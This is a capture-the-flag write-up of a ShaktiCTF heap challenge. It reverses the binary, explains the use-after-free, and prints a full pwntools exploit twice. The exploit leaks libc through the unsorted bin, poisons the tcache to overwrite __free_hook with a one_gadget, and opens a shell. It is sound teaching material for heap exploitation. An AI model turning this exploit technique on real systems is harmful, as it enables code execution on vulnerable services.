ShaktiCTF{cache7}
Hi everyone!
This week we played on ShaktiCTF, very funny ctf, kudos to the organizers.
Now, I’ll cover an interesting pwn - heap challenge, that the main focus was on tcache.
Summary
The challenge give us the challenge and the respective libc, which is the ubuntu classic 2.27 (introduction of tcache). A 64-bit binary, FULL RELRO + canary + NX + ASLR.
root@eef19a26f206:/ctf/work# checksec chall
[*] '/ctf/work/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
root@eef19a26f206:/ctf/work#
By running it with the custom libc.
root@eef19a26f206:/ctf/work: LD_PRELOAD=./libc-2.27.so ./chall
1. add
2. view
3. delete
4. quit
choice :
1
enter the size
10
Enter data
as
1. add
2. view
3. delete
4. quit
choice :
We’re in front of a classic memory allocation CTF program, lets reverse it.
recon
From the ASM, we can see 3 options:
- 1.- add
- 2.- view
- 3.- delete
- 4.- exit

add()
It simply asks for a buf_size, then, create a chunk of the respective size and read(0, &buf, buf_size); to it. The chunk reference is saved on a bss pointer named ptr, our playing chunk will be the last one malloc'ed.
Note that we can only alloc chunks of size <= 0xff.
int64_t add()
0040087e void* fsbase
0040087e int64_t rax = *(fsbase + 0x28)
00400892 puts(str: "enter the size")
004008a8 int32_t buf_size
004008a8 __isoc99_scanf(format: "%d", &buf_size)
004008b0 if (buf_size s<= 0xff)
004008c4 *ptr = malloc(bytes: sx.q(buf_size))
004008d0 puts(str: "Enter data")
004008ea read(fd: 0, buf: *ptr, nbytes: sx.q(buf_size))
004008f4 int64_t rax_10 = rax ^ *(fsbase + 0x28)
00400905 if (rax_10 == 0)
00400905 return rax_10
004008ff __stack_chk_fail()
004008ff noreturn
view()
Write the value inside of the bss pointer (previously written by malloc).
int64_t view()
0040090f puts(str: "Printing the data inside")
00400925 return puts(str: *ptr)
delete()
Here, we have a classic UAF, since the pointer is not NULL'ed after being freed. This allows us to keep viewing it by using the view(); function. Also, we can keep freeing the same pointer over and over again… (this will come handy later).
int64_t delete()
0040092f puts(str: "Deleting...")
00400945 return free(mem: *ptr)
Exploit
The first thing that we need to think is to make a libc leak, since ASLR is on.
To achieve it, we can abuse the UAF bug, but how we write a libc address to our chunk?.
Well, we first need to make one chunk-insertion to the unsorted bin, since the respective chunk->fd, will point to the respective bin entry.
To achieve that, first, we need to fill the entire tcache[idx=size] (we can achieve this by freeing multiples times (7 times) the same (target) chunk.
Things to consider:
- To reach the
unsorted_bin, we need to use some size outside the bounds of the respectivefast_bins, if not, our chunk is gonna be placed into the fastbins instead of the unsorted bin. - The
target chunkcan’t be at the end of the heap, since we need to avoid theconsolidation.
I’ll make the code self commented in order to understand :D
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window', "-h"])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./chall" ## change for the challenge name
DEBUG = 1
if DEBUG:
commands = '''b * 0x4008bf
b * 0x40093e
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.27.so"})
else:
p = remote("34.121.211.139",4444)
'''
1. add
2. view
3. delete
4. quit
choice :
'''
def f():
p.recvuntil(b"choice :")
def malloc_do(size, data):
p.sendline(b'1')
p.recvuntil(b'size')
p.sendline(str(size))
p.recvuntil(b'data')
p.send_raw(data)
f()
def free_do():
p.sendline(b'3')
f()
def view_do():
p.sendline(b'2')
p.recvuntil(b'inside\n')
leak = p.recvline().strip()
f()
return leak
def quit_do():
p.sendline(b'4')
yesno("Get a libc leak ?")
# Do one dummy malloc
malloc_do(0x20, b'A')
# Do one big malloc and free it to grab it from the tcache[0xf1]
# This will be the chunk who will end up in the unsorted bin
malloc_do(0xe8, b'C' * 10)
free_do()
# Do another dummy malloc to prevent consolidation with border chunk
malloc_do(0x20, b'A')
# Grab the tcache saved chunk
malloc_do(0xe8, b'C' * 10)
# Fill the tcache by freeing multiples times the same chunk
for k in range(7):
free_do()
# Write a libc arena leak on it by inserting it into the unsorted bin
free_do()
libc_leak = view_do()
libc_leak = libc_leak.ljust(8,b'\x00')
libc_leak = u64(libc_leak)
libc_base = libc_leak - 0x3ebca0
free_hook = libc_base + 0x3ed8e8
one_shot = libc_base + 0x4f3c2
log.info("Libc leak: %s " % hex(libc_leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("free hook: %s " % hex(free_hook) )
log.info("one shot : %s " % hex(one_shot) )
# Now that we have a leak, we need to get a pointer to near &__free_hook
yesno("Continue?")
The heap layout before the unsorted bin insertion (Having the tcache[idx=0xf0] filled) is the following:

Just after the unsorted bin insertion.

Now, by viewing the respective chunk, we can get the victim->fd pointer, that will point to the unsorted bin entry, which is in the main arena
[DEBUG] Received 0x2a bytes:
b'1. add\n'
b'2. view\n'
b'3. delete\n'
b'4. quit\n'
b'choice :\n'
[*] Switching to interactive mode
$ 2
[DEBUG] Sent 0x2 bytes:
b'2\n'
[DEBUG] Received 0x4a bytes:
00000000 50 72 69 6e 74 69 6e 67 20 74 68 65 20 64 61 74 │Prin│ting│ the│ dat│
00000010 61 20 69 6e 73 69 64 65 0a a0 7c 19 8d 98 7f 0a │a in│side│··|·│····│
00000020 31 2e 20 61 64 64 0a 32 2e 20 76 69 65 77 0a 33 │1. a│dd·2│. vi│ew·3│
00000030 2e 20 64 65 6c 65 74 65 0a 34 2e 20 71 75 69 74 │. de│lete│·4. │quit│
00000040 0a 63 68 6f 69 63 65 20 3a 0a │·cho│ice │:·│
0000004a
Printing the data inside
\xa0|\x19\x98\x7f
1. add
2. view
3. delete
4. quit
choice :
$
Now that we have a libc leak, we can do a tcache attack, in order to make malloc, return an arbitrary pointer, I’ll overwrite the __free_hook with the address of a one_gadget.
A nice article and study material to heap challenges is the nightmare guide, kudos to @guyinatuxedo
The main idea behind a tcache attack is the following (basic idea):
- Get a chunk written into the
tcache[idx=size]twice. - Allocate one time (so, we have one reference to the chunk that is written on the
tcache[idx=size]too). - Overwrite the
victim->fd pointerof the chunk with an arbitrary address. Note that the address is the same as thetcache[idx=size]. - On the
next allocation, malloc will return theHEAD(victim) of thetcache[idx=size]and malloc (important part) will maketcache[idx=size]->HEAD = victim->fd. - Since we overwrite the
victim->fdpointer, thetcache[idx=size]new head, will be our custom address ! - On the next
allocation, malloc will give us an arbitrary pointer.
Our full exploit, will be the following, I’ll let it self commented in order to understand it. For any doubt, just ping me :D !
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window', "-h"])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./chall" ## change for the challenge name
DEBUG = 1
if DEBUG:
commands = '''b * 0x4008bf
b * 0x40093e
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.27.so"})
else:
p = remote("34.121.211.139",4444)
'''
1. add
2. view
3. delete
4. quit
choice :
'''
def f():
p.recvuntil(b"choice :")
def malloc_do(size, data):
p.sendline(b'1')
p.recvuntil(b'size')
p.sendline(str(size))
p.recvuntil(b'data')
p.send_raw(data)
f()
def free_do():
p.sendline(b'3')
f()
def view_do():
p.sendline(b'2')
p.recvuntil(b'inside\n')
leak = p.recvline().strip()
f()
return leak
def quit_do():
p.sendline(b'4')
yesno("Get a libc leak ?")
# Do one dummy malloc
malloc_do(0x20, b'A')
# Do one big malloc to grab it from the tcache[0xf1]
# This will be the chunk who will end up in the unsorted bin
malloc_do(0xe8, b'C' * 10)
free_do()
# Do another dummy malloc to prevent consolidation with border chunk
malloc_do(0x20, b'A')
# Grab the tcache saved chunk
malloc_do(0xe8, b'C' * 10)
# Fill the tcache by freeing multiples times the same chunk
for k in range(7):
free_do()
# Write a libc arena leak on it by inserting it into the unsorted bin
free_do()
libc_leak = view_do()
libc_leak = libc_leak.ljust(8,b'\x00')
libc_leak = u64(libc_leak)
libc_base = libc_leak - 0x3ebca0
free_hook = libc_base + 0x3ed8e8
one_shot = libc_base + 0x4f3c2
log.info("Libc leak: %s " % hex(libc_leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("free hook: %s " % hex(free_hook) )
log.info("one shot : %s " % hex(one_shot) )
# Now that we have a leak, we need to get a pointer to near &__free_hook
# For that, we will use the UAF bug
yesno("Continue?")
# Alloc one and free it to place in tcache
# Alloc and overwrite it
malloc_do(0x18, b'DEADBEEF')
# Free it twice
free_do()
free_do()
# Malloc and overwrite the victim->fd pointer
malloc_do(0x18, p64(free_hook))
# Do a dummy malloc to make our free_hook as the top of tcache[idx=size]
malloc_do(0x18, b'f')
# Now, our payload is at the top of the tcache
# Overwrite the free_hook with the one_gadget
malloc_do(0x18,p64(one_shot))
# Do a free to trigger __free_hook()
p.sendline(b'3')
p.interactive()
Just like that, we pop a shell.

Hope that this helps, if there’s any doubt, just ping me,
thanks again for the CTF.
cheers!